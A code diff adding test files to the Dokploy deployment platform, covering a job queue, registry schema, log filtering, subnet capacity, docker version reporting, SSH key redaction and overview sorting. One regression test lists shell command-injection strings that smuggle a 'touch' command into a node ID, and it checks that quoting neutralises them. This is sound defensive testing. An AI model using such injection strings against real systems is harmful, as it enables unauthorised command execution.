// Simulate a non-licensed resolver returning 0 — must still run 1.
|
||||
const queue = new InMemoryQueue({ resolveConcurrency: () => 0, now });
|
||||
queue.process(async (job) => {
|
||||
const id = (job.data as any).applicationId;
|
||||
started.push(id);
|
||||
const d = deferred();
|
||||
tasks.set(id, d);
|
||||
await d.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("a"));
|
||||
await queue.add(appJob("b"));
|
||||
await flush();
|
||||
|
||||
expect(started).toEqual(["a"]);
|
||||
});
|
||||
|
||||
it("picks up concurrency changes between scheduling ticks", async () => {
|
||||
const started: string[] = [];
|
||||
const tasks = new Map<string, ReturnType<typeof deferred>>();
|
||||
let limit = 1;
|
||||
|
||||
const queue = new InMemoryQueue({
|
||||
resolveConcurrency: () => limit,
|
||||
now,
|
||||
});
|
||||
queue.process(async (job) => {
|
||||
const id = (job.data as any).applicationId;
|
||||
started.push(id);
|
||||
const d = deferred();
|
||||
tasks.set(id, d);
|
||||
await d.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("a"));
|
||||
await queue.add(appJob("b"));
|
||||
await flush();
|
||||
expect(started).toEqual(["a"]);
|
||||
|
||||
// Raise the limit (e.g. license activated) and release the running job
|
||||
// so a new tick observes the new concurrency.
|
||||
limit = 2;
|
||||
tasks.get("a")!.release();
|
||||
await flush();
|
||||
|
||||
expect(started).toContain("b");
|
||||
});
|
||||
});
|
||||
|
||||
describe("InMemoryQueue job management", () => {
|
||||
it("lists waiting jobs and removes them by predicate", async () => {
|
||||
const block = deferred();
|
||||
const queue = new InMemoryQueue({ resolveConcurrency: () => 1 });
|
||||
queue.process(async () => {
|
||||
await block.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("running"));
|
||||
await queue.add(appJob("waiting-1"));
|
||||
await queue.add(composeJob("waiting-2"));
|
||||
await flush();
|
||||
|
||||
const waiting = await queue.getJobs(["waiting"]);
|
||||
expect(waiting.map((j) => j.data)).toHaveLength(2);
|
||||
|
||||
const removed = queue.removeWaiting(
|
||||
(data) => (data as any).applicationId === "waiting-1",
|
||||
);
|
||||
expect(removed).toBe(1);
|
||||
|
||||
const after = await queue.getJobs(["waiting"]);
|
||||
expect(after).toHaveLength(1);
|
||||
});
|
||||
|
||||
it("clears all waiting jobs", async () => {
|
||||
const block = deferred();
|
||||
const queue = new InMemoryQueue({ resolveConcurrency: () => 1 });
|
||||
queue.process(async () => {
|
||||
await block.promise;
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("running"));
|
||||
await queue.add(appJob("waiting-1"));
|
||||
await queue.add(appJob("waiting-2"));
|
||||
await flush();
|
||||
|
||||
expect(queue.clearWaiting()).toBe(2);
|
||||
expect(await queue.getJobs(["waiting"])).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("starts processing as soon as a processor is registered", async () => {
|
||||
const started: string[] = [];
|
||||
const queue = new InMemoryQueue({ resolveConcurrency: () => 5 });
|
||||
|
||||
// No processor yet -> jobs queue but do not run.
|
||||
await queue.add(appJob("a"));
|
||||
await flush();
|
||||
expect(started).toEqual([]);
|
||||
|
||||
// Registering the processor auto-starts the queue (no separate run()).
|
||||
queue.process(async (job) => {
|
||||
started.push((job.data as any).applicationId);
|
||||
});
|
||||
await flush();
|
||||
expect(started).toEqual(["a"]);
|
||||
});
|
||||
|
||||
it("continues scheduling after a job throws", async () => {
|
||||
const started: string[] = [];
|
||||
const queue = new InMemoryQueue({ resolveConcurrency: () => 1 });
|
||||
queue.process(async (job) => {
|
||||
const id = (job.data as any).applicationId;
|
||||
started.push(id);
|
||||
if (id === "a") throw new Error("boom");
|
||||
});
|
||||
await queue.run();
|
||||
|
||||
await queue.add(appJob("a"));
|
||||
await queue.add(appJob("b"));
|
||||
await flush();
|
||||
|
||||
expect(started).toEqual(["a", "b"]);
|
||||
});
|
||||
});
|
||||
75
apps/dokploy/__test__/registry/registry-schema.test.ts
Normal file
75
apps/dokploy/__test__/registry/registry-schema.test.ts
Normal file
@ -0,0 +1,75 @@
|
||||
import { apiCreateRegistry, apiTestRegistry } from "@dokploy/server/db/schema";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("Registry Schema - Username case preservation (#4632)", () => {
|
||||
const validBase = {
|
||||
registryName: "AWS ECR",
|
||||
password: "dXNlcm5hbWU6cGFzc3dvcmQ=", // dummy base64 token
|
||||
registryUrl: "123456789.dkr.ecr.us-east-1.amazonaws.com",
|
||||
registryType: "cloud" as const,
|
||||
imagePrefix: null,
|
||||
};
|
||||
|
||||
it("should preserve uppercase username (AWS ECR requires 'AWS')", () => {
|
||||
const result = apiCreateRegistry.safeParse({
|
||||
...validBase,
|
||||
username: "AWS",
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success) {
|
||||
expect(result.data.username).toBe("AWS");
|
||||
}
|
||||
});
|
||||
|
||||
it("should not lowercase mixed-case usernames", () => {
|
||||
const result = apiCreateRegistry.safeParse({
|
||||
...validBase,
|
||||
username: "MyUser",
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success) {
|
||||
expect(result.data.username).toBe("MyUser");
|
||||
}
|
||||
});
|
||||
|
||||
it("should still trim whitespace from username", () => {
|
||||
const result = apiCreateRegistry.safeParse({
|
||||
...validBase,
|
||||
username: " AWS ",
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success) {
|
||||
expect(result.data.username).toBe("AWS");
|
||||
}
|
||||
});
|
||||
|
||||
it("should reject empty username", () => {
|
||||
const result = apiCreateRegistry.safeParse({
|
||||
...validBase,
|
||||
username: "",
|
||||
});
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("should also preserve case in apiTestRegistry", () => {
|
||||
const result = apiTestRegistry.safeParse({
|
||||
...validBase,
|
||||
username: "AWS",
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success) {
|
||||
expect(result.data.username).toBe("AWS");
|
||||
}
|
||||
});
|
||||
|
||||
it("should accept lowercase usernames too (backward compat)", () => {
|
||||
const result = apiCreateRegistry.safeParse({
|
||||
...validBase,
|
||||
username: "myuser",
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success) {
|
||||
expect(result.data.username).toBe("myuser");
|
||||
}
|
||||
});
|
||||
});
|
||||
@ -55,6 +55,28 @@ describe("processLogs", () => {
|
||||
expect(result.data).toHaveLength(2);
|
||||
});
|
||||
|
||||
it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
|
||||
const entryWithoutRequestHost = sampleLogEntry.replace(
|
||||
/"RequestHost":"[^"]*",/,
|
||||
"",
|
||||
);
|
||||
|
||||
const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
|
||||
|
||||
expect(() =>
|
||||
parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
|
||||
).not.toThrow();
|
||||
|
||||
const result = parseRawConfig(
|
||||
mixedEntries,
|
||||
undefined,
|
||||
undefined,
|
||||
"traefik.me",
|
||||
);
|
||||
expect(result.totalCount).toBe(1);
|
||||
expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
|
||||
});
|
||||
|
||||
it("should filter out Dokploy dashboard requests", () => {
|
||||
const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
|
||||
|
||||
|
||||
24
apps/dokploy/__test__/server/server-health-subnet.test.ts
Normal file
24
apps/dokploy/__test__/server/server-health-subnet.test.ts
Normal file
@ -0,0 +1,24 @@
|
||||
import { getSubnetCapacity } from "@dokploy/server/services/server-health";
|
||||
import { describe, expect, test } from "vitest";
|
||||
|
||||
describe("getSubnetCapacity", () => {
|
||||
test("returns null for missing/invalid input", () => {
|
||||
expect(getSubnetCapacity(undefined)).toBeNull();
|
||||
expect(getSubnetCapacity("")).toBeNull();
|
||||
expect(getSubnetCapacity("10.0.0.0")).toBeNull();
|
||||
expect(getSubnetCapacity("not-a-subnet")).toBeNull();
|
||||
expect(getSubnetCapacity("10.0.0.0/33")).toBeNull();
|
||||
expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull();
|
||||
});
|
||||
|
||||
test("excludes network and broadcast addresses", () => {
|
||||
expect(getSubnetCapacity("10.0.1.0/24")).toBe(254);
|
||||
expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534);
|
||||
expect(getSubnetCapacity("10.99.99.0/30")).toBe(2);
|
||||
});
|
||||
|
||||
test("returns 0 for subnets too small to hold a host", () => {
|
||||
expect(getSubnetCapacity("10.0.0.0/31")).toBe(0);
|
||||
expect(getSubnetCapacity("10.0.0.0/32")).toBe(0);
|
||||
});
|
||||
});
|
||||
98
apps/dokploy/__test__/server/server-setup.test.ts
Normal file
98
apps/dokploy/__test__/server/server-setup.test.ts
Normal file
@ -0,0 +1,98 @@
|
||||
import { execFileSync, execSync } from "node:child_process";
|
||||
import { chmodSync, mkdtempSync, writeFileSync } from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import path from "node:path";
|
||||
import { defaultCommand, reportDockerVersion } from "@dokploy/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const resolveBin = (name: string) =>
|
||||
execSync(`command -v ${name}`, { encoding: "utf8" }).trim();
|
||||
|
||||
/**
|
||||
* Build a sandbox PATH so `command -v docker` only sees our fake docker
|
||||
* binary (or nothing), regardless of what the host has installed.
|
||||
*/
|
||||
const makeSandbox = (dockerShim?: string) => {
|
||||
const dir = mkdtempSync(path.join(tmpdir(), "dokploy-server-setup-"));
|
||||
for (const tool of ["awk", "tr"]) {
|
||||
const shim = path.join(dir, tool);
|
||||
writeFileSync(shim, `#!/bin/sh\nexec ${resolveBin(tool)} "$@"\n`);
|
||||
chmodSync(shim, 0o755);
|
||||
}
|
||||
if (dockerShim) {
|
||||
const shim = path.join(dir, "docker");
|
||||
writeFileSync(shim, dockerShim);
|
||||
chmodSync(shim, 0o755);
|
||||
}
|
||||
return dir;
|
||||
};
|
||||
|
||||
const runReport = (sandboxPath: string) => {
|
||||
const script = [
|
||||
"DOCKER_VERSION=28.5.0",
|
||||
reportDockerVersion(),
|
||||
'echo "$DOCKER_VERSION_REPORT"',
|
||||
].join("\n");
|
||||
return execFileSync(resolveBin("bash"), ["-c", script], {
|
||||
encoding: "utf8",
|
||||
env: { ...process.env, PATH: sandboxPath },
|
||||
})
|
||||
.trim()
|
||||
.split("\n")
|
||||
.pop();
|
||||
};
|
||||
|
||||
describe("reportDockerVersion", () => {
|
||||
it("reports the engine version when docker and its daemon are available", () => {
|
||||
const sandbox = makeSandbox(
|
||||
[
|
||||
"#!/bin/sh",
|
||||
'if [ "$1" = "--version" ]; then',
|
||||
' echo "Docker version 25.0.0, build aaaaaaa"',
|
||||
" exit 0",
|
||||
"fi",
|
||||
'if [ "$1" = "version" ]; then',
|
||||
' echo "29.4.3"',
|
||||
" exit 0",
|
||||
"fi",
|
||||
"exit 1",
|
||||
].join("\n"),
|
||||
);
|
||||
expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
|
||||
});
|
||||
|
||||
it("falls back to the client version when the daemon is unreachable", () => {
|
||||
const sandbox = makeSandbox(
|
||||
[
|
||||
"#!/bin/sh",
|
||||
'if [ "$1" = "--version" ]; then',
|
||||
' echo "Docker version 29.4.3, build 055a478"',
|
||||
" exit 0",
|
||||
"fi",
|
||||
'echo "Cannot connect to the Docker daemon" >&2',
|
||||
"exit 1",
|
||||
].join("\n"),
|
||||
);
|
||||
expect(runReport(sandbox)).toBe("29.4.3 (already installed)");
|
||||
});
|
||||
|
||||
it("reports the pinned version to be installed when docker is missing", () => {
|
||||
expect(runReport(makeSandbox())).toBe("28.5.0 (will be installed)");
|
||||
});
|
||||
});
|
||||
|
||||
describe("defaultCommand", () => {
|
||||
it.each([false, true])(
|
||||
"prints the detected Docker version in the setup banner (isBuildServer=%s)",
|
||||
(isBuildServer) => {
|
||||
const script = defaultCommand(isBuildServer);
|
||||
expect(script).toContain(reportDockerVersion());
|
||||
expect(script).toContain(
|
||||
'echo "| Docker | $DOCKER_VERSION_REPORT"',
|
||||
);
|
||||
expect(script).not.toContain(
|
||||
'echo "| Docker | $DOCKER_VERSION"',
|
||||
);
|
||||
},
|
||||
);
|
||||
});
|
||||
44
apps/dokploy/__test__/server/server-sshkey-redaction.test.ts
Normal file
44
apps/dokploy/__test__/server/server-sshkey-redaction.test.ts
Normal file
@ -0,0 +1,44 @@
|
||||
import { redactServerSshKey } from "@dokploy/server/services/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
|
||||
it("blanks the private key while keeping the rest of the ssh key intact", () => {
|
||||
const server = {
|
||||
serverId: "srv-1",
|
||||
name: "prod",
|
||||
sshKey: {
|
||||
sshKeyId: "key-1",
|
||||
publicKey: "ssh-ed25519 AAAA...",
|
||||
privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
|
||||
},
|
||||
};
|
||||
|
||||
const redacted = redactServerSshKey(server);
|
||||
|
||||
expect(redacted.sshKey.privateKey).toBe("");
|
||||
// Non-secret fields and the surrounding record must survive untouched.
|
||||
expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
|
||||
expect(redacted.serverId).toBe("srv-1");
|
||||
expect(redacted.name).toBe("prod");
|
||||
});
|
||||
|
||||
it("does not mutate the original record", () => {
|
||||
const server = {
|
||||
serverId: "srv-1",
|
||||
sshKey: { privateKey: "top-secret" },
|
||||
};
|
||||
redactServerSshKey(server);
|
||||
expect(server.sshKey.privateKey).toBe("top-secret");
|
||||
});
|
||||
|
||||
it("is a no-op when the server has no ssh key", () => {
|
||||
const server = { serverId: "srv-2", sshKey: null };
|
||||
expect(redactServerSshKey(server)).toEqual(server);
|
||||
});
|
||||
|
||||
it("handles a record without a loaded sshKey relation", () => {
|
||||
// e.g. server.update returns the plain row where sshKey is not populated.
|
||||
const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
|
||||
expect(redactServerSshKey(server)).toEqual(server);
|
||||
});
|
||||
});
|
||||
41
apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts
Normal file
41
apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts
Normal file
@ -0,0 +1,41 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { existsSync, rmSync } from "node:fs";
|
||||
import { quote } from "shell-quote";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
// Mirrors how getNodeInfo builds its command in services/docker.ts:
|
||||
// `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
|
||||
// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
|
||||
// whether the nodeId payload can break out of the command, not real docker.
|
||||
const buildCommand = (nodeId: string) =>
|
||||
`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
|
||||
|
||||
const INJECTION_NODE_IDS = [
|
||||
"$(touch %MARK%)",
|
||||
"`touch %MARK%`",
|
||||
"; touch %MARK%",
|
||||
"abc | touch %MARK%",
|
||||
"&& touch %MARK%",
|
||||
];
|
||||
|
||||
describe("getNodeInfo nodeId command injection", () => {
|
||||
it("does not execute injected commands from the nodeId", () => {
|
||||
const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
|
||||
for (const template of INJECTION_NODE_IDS) {
|
||||
if (existsSync(mark)) rmSync(mark);
|
||||
const nodeId = template.replace("%MARK%", mark);
|
||||
try {
|
||||
execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
|
||||
} catch {
|
||||
// A non-zero exit from the no-op is fine; we only care about the marker.
|
||||
}
|
||||
expect(existsSync(mark)).toBe(false);
|
||||
}
|
||||
if (existsSync(mark)) rmSync(mark);
|
||||
});
|
||||
|
||||
it("keeps a legitimate node id intact as a single literal token", () => {
|
||||
const nodeId = "abc123def456";
|
||||
expect(quote([nodeId])).toBe(nodeId);
|
||||
});
|
||||
});
|
||||
113
apps/dokploy/__test__/services/overview-backups-icon.test.ts
Normal file
113
apps/dokploy/__test__/services/overview-backups-icon.test.ts
Normal file
@ -0,0 +1,113 @@
|
||||
import {
|
||||
getBackupOverviewIcon,
|
||||
getServiceOverviewIcon,
|
||||
} from "@dokploy/server/services/overview";
|
||||
import { describe, expect, test } from "vitest";
|
||||
|
||||
describe("getServiceOverviewIcon", () => {
|
||||
test("returns a db icon for every known DB engine type", () => {
|
||||
for (const type of [
|
||||
"postgres",
|
||||
"mariadb",
|
||||
"mysql",
|
||||
"mongo",
|
||||
"redis",
|
||||
"libsql",
|
||||
] as const) {
|
||||
expect(getServiceOverviewIcon({ type, icon: null })).toEqual({
|
||||
kind: "db",
|
||||
engine: type,
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
test("returns a custom icon for application/compose with a service icon set", () => {
|
||||
expect(
|
||||
getServiceOverviewIcon({
|
||||
type: "application",
|
||||
icon: "data:image/png;base64,x",
|
||||
}),
|
||||
).toEqual({ kind: "custom", url: "data:image/png;base64,x" });
|
||||
expect(
|
||||
getServiceOverviewIcon({
|
||||
type: "compose",
|
||||
icon: "data:image/png;base64,y",
|
||||
}),
|
||||
).toEqual({ kind: "custom", url: "data:image/png;base64,y" });
|
||||
});
|
||||
|
||||
test("falls back to a generic icon for application/compose without a service icon", () => {
|
||||
expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual(
|
||||
{
|
||||
kind: "generic",
|
||||
type: "application",
|
||||
},
|
||||
);
|
||||
expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({
|
||||
kind: "generic",
|
||||
type: "compose",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("getBackupOverviewIcon", () => {
|
||||
test("returns a db icon for a database backup with a known databaseType", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: "postgres",
|
||||
serviceType: null,
|
||||
serviceOwnerType: "postgres",
|
||||
}),
|
||||
).toEqual({ kind: "db", engine: "postgres" });
|
||||
});
|
||||
|
||||
test("returns a webServer icon for a web-server database backup", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: "web-server",
|
||||
serviceType: null,
|
||||
serviceOwnerType: "web-server",
|
||||
}),
|
||||
).toEqual({ kind: "webServer" });
|
||||
});
|
||||
|
||||
test("returns a db icon for a compose-type backup dumping a known DB engine", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: "mysql",
|
||||
serviceType: null,
|
||||
serviceOwnerType: "compose",
|
||||
}),
|
||||
).toEqual({ kind: "db", engine: "mysql" });
|
||||
});
|
||||
|
||||
test("returns a db icon for a volume backup of a known DB engine service", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: null,
|
||||
serviceType: "mongo",
|
||||
serviceOwnerType: "mongo",
|
||||
}),
|
||||
).toEqual({ kind: "db", engine: "mongo" });
|
||||
});
|
||||
|
||||
test("returns a generic application icon for a volume backup of an application", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: null,
|
||||
serviceType: "application",
|
||||
serviceOwnerType: "application",
|
||||
}),
|
||||
).toEqual({ kind: "generic", type: "application" });
|
||||
});
|
||||
|
||||
test("returns a generic compose icon for a volume backup of a compose service", () => {
|
||||
expect(
|
||||
getBackupOverviewIcon({
|
||||
databaseType: null,
|
||||
serviceType: "compose",
|
||||
serviceOwnerType: "compose",
|
||||
}),
|
||||
).toEqual({ kind: "generic", type: "compose" });
|
||||
});
|
||||
});
|
||||
79
apps/dokploy/__test__/services/overview-domains-sort.test.ts
Normal file
79
apps/dokploy/__test__/services/overview-domains-sort.test.ts
Normal file
@ -0,0 +1,79 @@
|
||||
import type { OverviewDomain } from "@dokploy/server/services/overview";
|
||||
import { sortOverviewDomains } from "@dokploy/server/services/overview";
|
||||
import { describe, expect, test } from "vitest";
|
||||
|
||||
const makeDomain = (overrides: Partial<OverviewDomain>): OverviewDomain => ({
|
||||
domainId: "id",
|
||||
host: "example.com",
|
||||
path: "/",
|
||||
port: 3000,
|
||||
customEntrypoint: null,
|
||||
https: true,
|
||||
certificateType: "letsencrypt",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
enabled: true,
|
||||
domainType: "application",
|
||||
serviceOwnerId: "app",
|
||||
serviceOwnerType: "application",
|
||||
serviceName: "App",
|
||||
projectId: "project",
|
||||
projectName: "Project",
|
||||
environmentId: "environment",
|
||||
environmentName: "Environment",
|
||||
...overrides,
|
||||
});
|
||||
|
||||
describe("sortOverviewDomains", () => {
|
||||
test("sorts by createdAt asc/desc", () => {
|
||||
const domains = [
|
||||
makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
|
||||
makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
|
||||
makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId),
|
||||
).toEqual(["old", "mid", "new"]);
|
||||
expect(
|
||||
sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId),
|
||||
).toEqual(["new", "mid", "old"]);
|
||||
});
|
||||
|
||||
test("sorts by port asc/desc, with portless domains always last", () => {
|
||||
const domains = [
|
||||
makeDomain({ domainId: "none", port: null }),
|
||||
makeDomain({ domainId: "low", port: 80 }),
|
||||
makeDomain({ domainId: "high", port: 8080 }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewDomains(domains, "port-asc").map((d) => d.domainId),
|
||||
).toEqual(["low", "high", "none"]);
|
||||
expect(
|
||||
sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
|
||||
).toEqual(["high", "low", "none"]);
|
||||
});
|
||||
|
||||
test("port sort with all domains portless is a no-op", () => {
|
||||
const domains = [
|
||||
makeDomain({ domainId: "a", port: null }),
|
||||
makeDomain({ domainId: "b", port: null }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
|
||||
).toEqual(["a", "b"]);
|
||||
});
|
||||
|
||||
test("does not mutate the input array", () => {
|
||||
const domains = [
|
||||
makeDomain({ domainId: "b", port: 8080 }),
|
||||
makeDomain({ domainId: "a", port: 80 }),
|
||||
];
|
||||
const original = [...domains];
|
||||
|
||||
sortOverviewDomains(domains, "port-asc");
|
||||
|
||||
expect(domains).toEqual(original);
|
||||
});
|
||||
});
|
||||
106
apps/dokploy/__test__/services/overview-services-sort.test.ts
Normal file
106
apps/dokploy/__test__/services/overview-services-sort.test.ts
Normal file
@ -0,0 +1,106 @@
|
||||
import type { OverviewService } from "@dokploy/server/services/overview";
|
||||
import { sortOverviewServices } from "@dokploy/server/services/overview";
|
||||
import { describe, expect, test } from "vitest";
|
||||
|
||||
const makeService = (overrides: Partial<OverviewService>): OverviewService => ({
|
||||
id: "id",
|
||||
type: "application",
|
||||
name: "name",
|
||||
appName: "app-name",
|
||||
status: "running",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
serverId: null,
|
||||
serverName: null,
|
||||
icon: null,
|
||||
projectId: "project",
|
||||
projectName: "Project",
|
||||
environmentId: "environment",
|
||||
environmentName: "Environment",
|
||||
lastDeployAt: null,
|
||||
...overrides,
|
||||
});
|
||||
|
||||
describe("sortOverviewServices", () => {
|
||||
test("sorts by name asc/desc", () => {
|
||||
const services = [
|
||||
makeService({ id: "b", name: "Bravo" }),
|
||||
makeService({ id: "a", name: "Alpha" }),
|
||||
makeService({ id: "c", name: "Charlie" }),
|
||||
];
|
||||
|
||||
expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual(
|
||||
["a", "b", "c"],
|
||||
);
|
||||
expect(
|
||||
sortOverviewServices(services, "name-desc").map((s) => s.id),
|
||||
).toEqual(["c", "b", "a"]);
|
||||
});
|
||||
|
||||
test("sorts by type asc/desc", () => {
|
||||
const services = [
|
||||
makeService({ id: "app", type: "application" }),
|
||||
makeService({ id: "pg", type: "postgres" }),
|
||||
makeService({ id: "comp", type: "compose" }),
|
||||
];
|
||||
|
||||
expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual(
|
||||
["app", "comp", "pg"],
|
||||
);
|
||||
expect(
|
||||
sortOverviewServices(services, "type-desc").map((s) => s.id),
|
||||
).toEqual(["pg", "comp", "app"]);
|
||||
});
|
||||
|
||||
test("sorts by createdAt asc/desc", () => {
|
||||
const services = [
|
||||
makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
|
||||
makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
|
||||
makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewServices(services, "createdAt-asc").map((s) => s.id),
|
||||
).toEqual(["old", "mid", "new"]);
|
||||
expect(
|
||||
sortOverviewServices(services, "createdAt-desc").map((s) => s.id),
|
||||
).toEqual(["new", "mid", "old"]);
|
||||
});
|
||||
|
||||
test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => {
|
||||
const services = [
|
||||
makeService({ id: "never", lastDeployAt: null }),
|
||||
makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }),
|
||||
makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
|
||||
).toEqual(["new", "old", "never"]);
|
||||
expect(
|
||||
sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id),
|
||||
).toEqual(["old", "new", "never"]);
|
||||
});
|
||||
|
||||
test("lastDeploy sort with all services never deployed is a no-op", () => {
|
||||
const services = [
|
||||
makeService({ id: "a", lastDeployAt: null }),
|
||||
makeService({ id: "b", lastDeployAt: null }),
|
||||
];
|
||||
|
||||
expect(
|
||||
sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
|
||||
).toEqual(["a", "b"]);
|
||||
});
|
||||
|
||||
test("does not mutate the input array", () => {
|
||||
const services = [
|
||||
makeService({ id: "b", name: "Bravo" }),
|
||||
makeService({ id: "a", name: "Alpha" }),
|
||||
];
|
||||
const original = [...services];
|
||||
|
||||
sortOverviewServices(services, "name-asc");
|
||||
|
||||
expect(services).toEqual(original);
|
||||
});
|
||||
});
|
||||
236
apps/dokploy/__test__/setup/monitoring-setup.real.test.ts
Normal file
236
apps/dokploy/__test__/setup/monitoring-setup.real.test.ts
Normal file
@ -0,0 +1,236 @@
|
||||
import { execSync } from "node:child_process";
|
||||
import { docker } from "@dokploy/server/constants";
|
||||
import { setupMonitoring } from "@dokploy/server/setup/monitoring-setup";
|
||||
import { afterAll, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const REAL_TEST_TIMEOUT = 120000;
|
||||
const SERVICE_NAME = "dokploy-monitoring";
|
||||
const TEST_IMAGE = "busybox:latest";
|
||||
|
||||
// Mock ONLY db-backed lookups and remote I/O. Dockerode stays real and talks to
|
||||
// the local daemon, so the legacy-container cleanup is exercised for real.
|
||||
vi.mock("@dokploy/server/services/server", () => ({
|
||||
findServerById: vi.fn().mockResolvedValue({
|
||||
serverId: "test-server",
|
||||
serverType: "deploy",
|
||||
sshKeyId: null, // -> getRemoteDocker returns the local docker instance
|
||||
metricsConfig: {
|
||||
server: {
|
||||
type: "Remote",
|
||||
port: 4500,
|
||||
token: "test-token",
|
||||
urlCallback: "http://localhost/callback",
|
||||
cronJob: "0 0 * * *",
|
||||
retentionDays: 2,
|
||||
refreshRate: 60,
|
||||
thresholds: { cpu: 0, memory: 0 },
|
||||
},
|
||||
containers: { refreshRate: 60, services: { include: [], exclude: [] } },
|
||||
},
|
||||
}),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/services/settings", () => ({
|
||||
getDokployImageTag: vi.fn(() => "latest"),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/docker/utils", () => ({
|
||||
pullImage: vi.fn().mockResolvedValue(undefined),
|
||||
pullRemoteImage: vi.fn().mockResolvedValue(undefined),
|
||||
}));
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", () => ({
|
||||
execAsync: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }),
|
||||
execAsyncRemote: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }),
|
||||
}));
|
||||
|
||||
const containerExists = async (name: string) => {
|
||||
try {
|
||||
await docker.getContainer(name).inspect();
|
||||
return true;
|
||||
} catch (error: any) {
|
||||
if (error.statusCode === 404) return false;
|
||||
throw error;
|
||||
}
|
||||
};
|
||||
|
||||
const serviceExists = async (name: string) => {
|
||||
try {
|
||||
